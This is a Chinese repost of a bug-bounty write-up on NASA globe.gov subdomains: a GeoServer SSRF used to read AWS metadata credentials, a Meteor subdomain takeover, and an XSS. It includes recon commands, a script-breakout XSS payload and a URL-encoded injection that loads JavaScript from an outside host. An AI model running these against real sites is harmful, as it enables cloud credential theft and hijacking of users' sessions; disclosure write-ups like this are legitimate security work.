白帽故事 · 2024年6月2日

‘黑掉’NASA:SSRF、子域接管以及XSS

几个月前,国外一名"白帽"黑客在NASA的网络世界中开启了他的挑战。正如其它大公司一样,NASA同样拥有着大量的公开服务和网页,一些网站甚至还在运行着老旧过时的应用,而这正是我们白帽小哥寻找漏洞的契机。

初始侦察

白帽小哥首先对NASA的子域名进行了全面的枚举,他注意到NASA刚刚上线了一个子域名 globe.gov,于是决定深入探索,为了尽可能找到更多的漏洞,白帽小哥对globe.gov进行了深度挖掘。

amass enum -passive -d globe.gov
amass db -names -d globe.gov
sublist3r -d globe.gov
subfinder -d globe.gov
crt.sh globe.gov
ffuf -u https://FUZZ.globe.gov -w /usr/share/wordlists/dirb/common.txt
ffuf -u https://globe.gov -w /usr/share/wordlists/dirb/common.txt

在收集了大约60个子域后,白帽小哥决定运行nuclei,并使用默认的模板对他们进行检测。

同时,他还运行了httpx工具,以获取这些子域名的底层技术信息,经过几小时的手动检查后,他找到了一些托管在AWS上的子域名:

https://vis.globe.gov [200] [] [Apache]
https://visdev.globe.gov [200] [] [Apache]
https://visstaging.globe.gov [200] [] [Apache]
https://visdev72.globe.gov [301,200] [] [Apache]
https://visstaging7.globe.gov [301,200] [] [Apache]

这些子域名都运行在不同的环境中,但页面内容几乎完全相同。

服务器端请求伪造 (SSRF)

白帽小哥发现这些子域名都运行了一个名为GeoServer的应用。

GeoServer是一款用Java编写的开源软件,用于分享地理空间数据,如卫星图像、气候数据、林业和水资源等,这些数据可以在Google Maps, MapBox以及其他类似的地图引擎中展示。

file

令人惊讶的是,他在nuclei扫描中发现了一个有趣的点:所有vis*.globe.gov都存在相同的SSRF漏洞。

该SSRF漏洞被标记为CVE-2021-40822,由著名黑客Walleson Moura发现。 白帽小哥针对这个问题进行了深入的研究。

[geoserver-login-panel] [http] [info] https://visdev.globe.gov/geoserver/web/ [2.20.4]
[CVE-2021-40822] [http] [high] https://visdev.globe.gov/geoserver/TestWfsPost

为了验证SSRF漏洞,白帽小哥尝试了一个简化的漏洞验证,他创建的脚本尝试向example.com/geoserver/TestWfsPost发送POST请求,并且“url”参数指向攻击者的URL,而“Host”头也指向另一个URL。

如果以上任何一个URL被获取,其内容会在响应中反射,则表示该目标易受SSRF攻击。

在visdev子域名上进行了PoC测试后,果不其然!

file

白帽小哥在自己的服务器域上设置了一个子域配置指向元数据服务器 (aws.0x7359.com -> 169.254.169.254),继续测试SSRF。

file

可以看到,成功浏览到目标服务器的目录并读取数据。

file

白帽小哥利用SSRF还发现了许多其它重要的信息,如AccessKeyId、SecretAccessKey和Token等。

为了不触及’FBI雷区’,白帽小哥仅做了漏洞证明,便决定编写漏洞报告。

子域名接管

几小时后,白帽小哥向NASA提交了SSRF漏洞报告,然后重新查看nuclei结果,发现了另外一个高危项目:

[meteor-takeover] [http] [high] http://annualmeeting2022.globe.gov
[tech-detect:meteor] [http] [info] https://annualmeeting2022.globe.gov/

子域劫持?白帽小哥立即开始尝试解析DNS,看看DNS指向哪里。

file

该DNS指向的是us-east-1.galaxy-ingress.meteor.com,但是这个DNS已经无法访问了。

没有任何网页托管在该域名上,白帽小哥在谷歌上快速搜索域名接管利用的文章。

假设白帽小哥在meteor.com创建了一个帐户,便能够利用它的子域,然后在子域上放置任何网页,这样一来,白帽小哥就可以控制NASA这个子域名上的内容了。

说干就干,白帽小哥很快创建了一个meteor.com的帐户,启动了一个Docker容器,并设置好了一切,他能够在那个主机名和区域启动web服务器:

file

应用程序成功部署在us-east-1.galaxy-ingrss.meteor.com,白帽小哥可以完全控制它。

由于annualmeeting2022.globe.gov域名也指向该DNS,白帽小哥还可以控制该子域上提供的服务。

file

白帽小哥上传了带有PoC的index.html,当用户访问annualmeeting2022.globe.gov时就会看到:

file

跨站脚本攻击(XSS)

在漏洞提交后的几天,白帽小哥再次重回visdev.globe.gov,因为这里还有很多未测试的输入。

白帽小哥点击了一切能够点击的地方,使用各种输入、尝试注册和登录,并测试了一些常见但古老的内容,如' 或 1=1,一些常见的XSS Payloads等。

同时,他的一位朋友也在测试相同的页面,并在特定的GET参数中找到了一处XSS漏洞。

他使用的Payload是/?no_welcome=a'-alert(1)//

该参数的值被用作 JS 代码中变量的值,可以脱离变量上下文并直接从 URL 写入任意 JS 代码,白帽小哥发现这种行为也存在于很多其它变量中:

file

file

虽然上面的PoC足以证明XSS,但白帽小哥决定更进一步,使用更通用的Payload来实现。

该Payload可以编写复杂的恶意 JavaScript 程序,将其上传到某个地方,然后导入 HTML 代码中:

document.addEventListener('DOMContentLoaded', function(){
  var c = function(){
    a();
  };
  var s = document.createElement('script');
  s.src = 'https://n.0x7359.com/xss.js';
  s.onreadystatechange = c;
  document.body.appendChild(s);
});

这将向 https://n.0x7359.com/xss.js 发出请求并执行以下代码:

function a(){
   alert('cross site alert');
}

将上述全部的JavaScript代码简化并添加到JavaScript中:

vis.globe.gov/GLOBE/?AutoRefreshInterval=%27;document.addEventListener(%27DOMContentLoaded%27,%20function()%7bvar%20c%20=%20function()%7ba();%7d;var%20s%20=%20document.createElement(%27script%27);s.src%20=%20%27https://n.0x7359.com/xss.js%27;s.onreadystatechange%20=%20c;document.body.appendChild(s);%7d);//

运行结果:

file

白帽小哥第一时间报告了发现的漏洞,两周后,NASA修补了所有的漏洞。

同时,NASA还给白帽小哥发了很酷的电子邮件“以表达他们对白帽小哥发现这些漏洞所做出努力的赞赏~”

file

以上内容由骨哥翻译并再创作。

原文:https://nickguitar.medium.com/hacking-nasa-critical-ssrf-subdomain-takeover-xss-699be0ce3c06